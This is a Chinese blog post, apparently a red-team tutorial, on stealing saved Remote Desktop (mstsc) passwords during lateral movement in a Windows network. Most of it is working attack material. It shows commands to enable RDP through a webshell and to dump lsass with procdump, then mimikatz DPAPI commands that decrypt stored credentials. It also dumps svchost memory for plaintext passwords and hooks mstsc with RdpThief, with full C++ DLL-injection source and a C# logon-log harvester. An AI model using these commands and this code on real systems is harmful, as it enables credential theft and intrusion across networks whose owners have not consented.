内网渗透 | 横向移动中MSTSC的密码获取

VSole2021-10-15 06:50:30
在常见渗透过程中我们拿到了一个pc权限,目标pc的mstsc可能保存了其他机器的密码。所以获取它保存的密码是非常有利用价值的。

0x01 查询是否开启3389

1.1

3389开启的进程名为TermService,所以我们可以查看是否开启这个进程

tasklist /svc | findstr TermService

1.2

0x02 查看rdp开启具体端口

很多运维为了安全起见可能会修改默认3389端口为其他端口

2.1

tasklist /svc | findstr TermService
netstat -ano | findstr "前面获取到的pid"

2.2

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber

0x03 如何开启3389

如果获取到目标高权限的webshell可以通过命令开启3389

3.1

允许3389端口放行

netsh advfirewall firewall add rule name=”Remote Desktop” protocol=TCP dir=in localport=3389 action=allow

①:通用开3389(优化后):

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

②:For Win2003:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

③:For Win2008:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

④:For Every: cmd开3389 win08 win03 win7 win2012 winxp win08,三条命令即可:

  wmic /namespace:\root\cimv2 erminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
  wmic /namespace:\root\cimv2 erminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

3.2

使用[RegfDenyTSConnections.ps1] https://github.com/QAX-A-Team/EventLogMaster/blob/master/powershell/RegfDenyTSConnections.ps1脚本

0x04 获取登录日志

在windows事件里面id为4624和4635分别为成功登录和失败登录

这里看下4624的详情

已成功登录帐户。
主题:
    安全 ID:        SYSTEM
        帐户名:        WIN-4BS4SH00L5N$
    帐户域:        REDTEAM
    登录 ID:        0x3e7
登录类型:            10
新登录:
    安全 ID:        WIN-4BS4SH00L5N\test
    帐户名:        test
    帐户域:        WIN-4BS4SH00L5N
    登录 ID:        0xfd71e
    登录 GUID:        {00000000-0000-0000-0000-000000000000}
进程信息:
    进程 ID:        0xbcc
    进程名:        C:\Windows\System32\winlogon.exe
网络信息:
    工作站名:    WIN-4BS4SH00L5N
    源网络地址:    192.168.11.12
    源端口:        63275
详细身份验证信息:
    登录进程:        User32 
    身份验证数据包:    Negotiate
    传递服务:    -
    数据包名(仅限 NTLM):    -
    密钥长度:        0

4625:

帐户登录失败。
主题:
    安全 ID:        SYSTEM
    帐户名:        WIN-4BS4SH00L5N$
    帐户域:        WORKGROUP
    登录 ID:        0x3e7
登录类型:            2
登录失败的帐户:
    安全 ID:        NULL SID
    帐户名:        Administrator
    帐户域:        WIN-4BS4SH00L5N
失败信息:
    失败原因:        指定帐户的密码已过期。
    状态:            0xc0000224
    子状态:        0x0
进程信息:
    调用方进程 ID:    0x184
    调用方进程名:    C:\Windows\System32\winlogon.exe
网络信息:
    工作站名:    WIN-4BS4SH00L5N
    源网络地址:    127.0.0.1
    源端口:        0
详细身份验证信息:
    登录进程:        User32 
    身份验证数据包:    Negotiate
    传递服务:    -
    数据包名(仅限 NTLM):    -
    密钥长度:        0

在一些溯源工作可能会用到,还有就是当我们撸下一台服务器我们想定位到办公区或者it,运维组可以通过该方法

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
namespace SharpEventLog
{
    class Program
    {
        static void Main(string[] args)
        {
            if (args.Length == 0)
            {
                System.Console.WriteLine("Usage: EventLog.exe -4624");
                System.Console.WriteLine("       EventLog.exe -4625");
            }
            if (args.Length == 1 && args[0] == "-4624")
            {
                EventLog_4624();
            }
            if (args.Length == 1 && args[0] == "-4625")
            {
                EventLog_4625();
            }
            
        }
        public static void EventLog_4624()
        {
            EventLog log = new EventLog("security");
            Console.WriteLine("\r========== 4624 ==========\r");
            var entries = log.Entries.Cast<EventLogEntry>().Where(x => x.InstanceId == 4624);
            entries.Select(x => new
            {
                x.MachineName,
                x.Site,
                x.Source,
                x.Message,
                x.TimeGenerated
            }).ToList();
            foreach (EventLogEntry log1 in entries)
            {
                string text = log1.Message;
                string ipaddress = MidStrEx(text, "    源网络地址:    ", "    源端口:");
                string username = MidStrEx(text, "新登录:", "进程信息:");
                username = MidStrEx(username, "    帐户名:        ", "    帐户域:        ");
                DateTime Time = log1.TimeGenerated;
                if (ipaddress.Length >= 7)
                {
                    Console.WriteLine("\r-----------------------------------");
                    Console.WriteLine("Time: " + Time);
                    Console.WriteLine("Status: True");
                    Console.WriteLine("Username: " + username.Replace("", "").Replace(" ", "").Replace("\t", "").Replace("\r", ""));
                    Console.WriteLine("Remote ip: " + ipaddress.Replace("", "").Replace(" ", "").Replace("\t", "").Replace("\r", ""));
                }
            }
        }
        public static void EventLog_4625()
        {
            EventLog log = new EventLog("Security");
            Console.WriteLine("\r========== 4625 ==========\r");
            var entries = log.Entries.Cast<EventLogEntry>().Where(x => x.InstanceId == 4625);
            entries.Select(x => new
            {
                x.MachineName,
                x.Site,
                x.Source,
                x.Message,
                x.TimeGenerated
            }).ToList();
            foreach (EventLogEntry log1 in entries)
            {
                string text = log1.Message;
                string ipaddress = MidStrEx(text, "    源网络地址:    ", "    源端口:");
                string username = MidStrEx(text, "新登录:", "进程信息:");
                username = MidStrEx(username, "    帐户名:        ", "    帐户域:        ");
                DateTime Time = log1.TimeGenerated;
                if (ipaddress.Length >= 7)
                {
                    Console.WriteLine("\r-----------------------------------");
                    Console.WriteLine("Time: " + Time);
                    Console.WriteLine("Status: Flase");
                    Console.WriteLine("Username: " + username.Replace("", "").Replace(" ", "").Replace("\t", "").Replace("\r", ""));
                    Console.WriteLine("Remote ip: " + ipaddress.Replace("", "").Replace(" ", "").Replace("\t", "").Replace("\r", ""));
                }
            }
        }
        public static string MidStrEx(string sourse, string startstr, string endstr)
        {
            string result = string.Empty;
            int startindex, endindex;
            startindex = sourse.IndexOf(startstr);
            if (startindex == -1)
                return result;
            string tmpstr = sourse.Substring(startindex + startstr.Length);
            endindex = tmpstr.IndexOf(endstr);
            if (endindex == -1)
                return result;
            result = tmpstr.Remove(endindex);
            return result;
        }
    }
}

0x05 mstsc保存密码-解密

5.1

可以通过

cmdkey /l
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

来查看是否存在凭证

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

procdump64来获取内存文件

然后使用mimikatz获取guidMasterKey:

{12f037b9-df42-4dcf-b9e0-31b57d26c544}
mimikatz.exe "dpapi::cred /in:C:\Users\jack\AppData\Local\Microsoft\Credentials\B57C0630F49BB26F284ECFD8DCD9E0A2" "exit" > 1.txt

然后加载dmp获取对应的MasterKey:

ba3ebb5374ea4623a1fcc006ac4552bbb17301b539e62c066f7f4e8ba2931789a48699e276f569535f12dc7a1f42bbbccd35e51c60f19ee3560ee155d9a7c078
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::dpapi" "exit" > 2.txt

然后使用MasterKey进行解密

mimikatz.exe "dpapi::cred /in:C:\Users\jack\AppData\Local\Microsoft\Credentials\B57C0630F49BB26F284ECFD8DCD9E0A2 /masterkey:ba3ebb5374ea4623a1fcc006ac4552bbb17301b539e62c066f7f4e8ba2931789a48699e276f569535f12dc7a1f42bbbccd35e51c60f19ee3560ee155d9a7c078" "exit" > 3.txt


5.2

当用户通过RDP连接进行身份验证的时候,终端服务是由svchost进程托管,凭证是以纯文本形式储存在svchost进程的内存中。但是在进程里面有很多svchost进程。因此可以通过执行以下命令之一来识别哪个进程,hosts 终端服务连接。

sc queryex termservice

查询是那个进程加载了rdpcorets.dll

tasklist /M:rdpcorets.dll

可以指定pid写入dmp文件来转存内存

然后可以在kali进行离线分析

strings -el svchost*

0x06 hook mstsc

一般获取mstsc密码来说就两种方法,第一种获取运行后保存在内存中的密码,第二就是hook mstsc截获密码。前文写过如何获取保存后的密码,现在来讲解如何hook。


6.1 Detours库

该库支持 32 位和 64 位进程,这里拿MessageBox函数来进行讲解。在做挂钩的时候必须要确定原始函数的地址和钩子函数地址的目标指针。

6.1.1 Detours库安装

[源码下载地址]:https://github.com/Microsoft/Detours。这里以64位进行实验。

使用vs的命令行在src目录执行(x64 Native Tools Command Prompt for VS 2019 和 x86 Native Tools Command Prompt for VS 2019,这两个可以分别用来编译64位和32位的Detours)

nmake

编译后会生成一下三个目录

•bin.X64
•include
•lib.X64

vs建立工程添加

•detours.h

•detours.lib

打开程序包管理器控制台执行

Install-Package Detours

然后导入.h和.lib文件即可。

#include 
#include 
#pragma comment (lib,"detours.lib")
static int(WINAPI* TrueMessageBox)(HWND, LPCTSTR, LPCTSTR, UINT) = MessageBox;
int WINAPI OurMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) {
    return TrueMessageBox(NULL, L"Hooked", lpCaption, 0);
}
int main()
{
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourAttach(&(PVOID&)TrueMessageBox, OurMessageBox);
    DetourTransactionCommit();
    MessageBox(NULL, L"11ccaab", L"11ccaab", 0);
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourDetach(&(PVOID&)TrueMessageBox, OurMessageBox);
    DetourTransactionCommit();
}

6.2 API Monitor 监控 mstsc

附加到mstsc进程,然后监听

可以看到ip存放于CredReadW方法中

6.3 RdpThief

[RdpThief]:https://github.com/0x09AL/RdpThief 编译好是一个 DLL,当注入mstsc.exe进程时,它将执行 API 挂钩,提取明文凭据并将它们保存到%temp%/data.bin文件中。

6.4 dll注入

#include 
#include 
#include 
typedef void(*PFN_FOO)();
int main()
{
    //获取快照
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32;
    DWORD pid = 0;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    //查看第一个进程
    BOOL bRet = Process32First(hSnap, &pe32);
    while (bRet)
    {
        bRet = Process32Next(hSnap, &pe32);
        if (wcscmp(pe32.szExeFile, L"mstsc.exe") == 0){
            pid = pe32.th32ProcessID;
            break;
        }
    }
    //获取进程句柄
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    HANDLE hDestModule = NULL;
    //接下来找到该进程中kernel32.dll的基址
    hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid);
    MODULEENTRY32 mo32 = { 0 };
    mo32.dwSize = sizeof(MODULEENTRY32);
    bRet = Module32First(hSnap, &mo32);
    while (bRet)
    {
        bRet = Module32Next(hSnap, &mo32);
        wprintf(mo32.szExePath);
        std::wstring wstr = mo32.szExePath;
        if (wstr.find(L"KERNEL32.DLL") != std::string::npos){
            hDestModule = mo32.modBaseAddr;
            break;
        }
        
    }
    LPVOID lpDestAddr = NULL;
    if (hDestModule != NULL){
        //获取本进程的kernel32地址
        HMODULE hkernel32 = GetModuleHandleA("KERNEL32.DLL");
        //计算函数的位置
        LPVOID lploadlibrary = GetProcAddress(hkernel32, "LoadLibraryA");
        //获取了目标进程中的loadlibrary的地址
        lpDestAddr = (char*)lploadlibrary - (char*)hkernel32 + (char*)hDestModule;
    }
    
    //1.在目标进程开辟空间
    LPVOID lpAddr = VirtualAllocEx(
        hProcess,    //在目标进程中开辟空间
        NULL,    //表示任意地址,随机分配
        1,    //内存通常是以分页为单位来给空间 1页=4k 4096字节
        MEM_COMMIT,    //告诉操作系统给分配一块内存
        PAGE_EXECUTE_READWRITE
        );
    if (lpAddr == NULL){
        printf("Alloc error!");
        return 0;
    }
    DWORD dwWritesBytes = 0;
    char* pDestDllPath = R"(C:\TestDLL.dll)";
    //2.在目标进程中写入目标dll的路径
    bRet = WriteProcessMemory(
        hProcess,    //目标进程
        lpAddr,    //目标地址    目标进程中
        pDestDllPath,    //源数据    当前进程中
        strlen(pDestDllPath)+1,    //写多大
        &dwWritesBytes //成功写入的字节数
        );
    if (!bRet){
        VirtualFreeEx(hProcess, lpAddr, 1, MEM_DECOMMIT);
        return 0;
    }
    //3.向目标程序调用一个线程 创建远程线程 执行写入代码
    HANDLE hRemoteThread = CreateRemoteThread(hProcess,    //目标进程
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)lpDestAddr,    //目标进程的回调函数
        lpAddr,    //回调参数
        0,
        NULL
        );
    return 0;
}

运行加载dll,使用Process Explorer可以看到成功加载了dll

无论是否登录成功密码都会保存在

C:\Users\your username\AppData\Local\Temp\data.bin

string
本作品采用《CC 协议》,转载必须注明作者和本文链接
如果你不是 Java8 的钉子户,你应该早就发现了:String 类的源码已经由 char[] 优化为了 byte[] 来存储字符串内容,为什么要这样做呢? 开门见山地说,从 char[] 到 byte[],最主要的目的是为了节省字符串占用的内存 。内存占用减少带来的另外一个好处,就是 GC 次数也会减少。
Adobe已经发布了一个名为Stringlifier的开源工具,该工具允许用户识别任何纯文本中随机生成的字符串,该工具可用于清理日志。Stringlifier工具是用Python编写的,它使用机器学习来识别插入普通文本中的随机字符序列。开源工具可用于出于多种目的分析日志,例如研究意外暴露的凭证。Stringlifier能够在源代码或配置文件中查找API密钥,哈希,随机生成的字符串,包括密码,日志。Adobe在Github上发布的描述中写道。
介绍Runtime 是一系列采用 C++ 语言编写的功能方法,它实现了大量 JavaScript 运行期间需要的 native 功能。本文分析 Runtime_StringToArray 方法的源码和重要数据结构,讲解 Runtime_StringToArray 方法的触发条件。
介绍Runtime 是一系列采用 C++ 语言编写的功能方法,它实现了大量 JavaScript 运行期间需要的 native 功能。
通过common-collection相关gadget,想办法调用org.mozilla.classfile.DefiningClassLoader这个类去加载字节码。然后通过T3协议的反序列化漏洞发送给待攻击weblogic服务器。
举个例子:但是对于64位的来说 ROPgadget预设的长度是不够的。所以,我们可以使用ROPgadget --binary ./b --depth 100来加深他的搜索深度。2利用_libc_csu_init制造ROP常规方法我们前面说的利用ROPgadget来寻找,大多都是找到直接设置某个寄存器的rop,当然也可以使用--ropchain这个参数。
一般情况下类与类之间是相互独立的,内部类的意思就是打破这种独立思想,让一个类成为另一个类的内部信息,和成员变量、成员方法同等级别。「内部类的好处:」把一个类写在外面和写在里面最终达到的结果都一样,那我们为什么还要使用内部类,岂不是多此一举吗?
当被问及网络间谍是否成功时,爱德华·斯金格表示,他非常有信心地确信,除了国防学院本身,没有任何其他危害行为。斯金格接受采访时透露,本次攻击看起来不像是一次暴力攻击,但有代价。国防学院立即意识到它可能已成为敌对国家在灰色地带式网络攻击中的目标的可能性。官方迅速采取了行动,对更广泛的国防部IT网络没有影响。
java安全-02RMI
2022-03-25 15:35:13
基础知识动态代理反射攻击方式注册端攻击服务端java -cp .\ysoserial-master-8eb5
MISC中常用python脚本
2021-09-20 20:26:46
MISC中常用python脚本总结
VSole
网络安全专家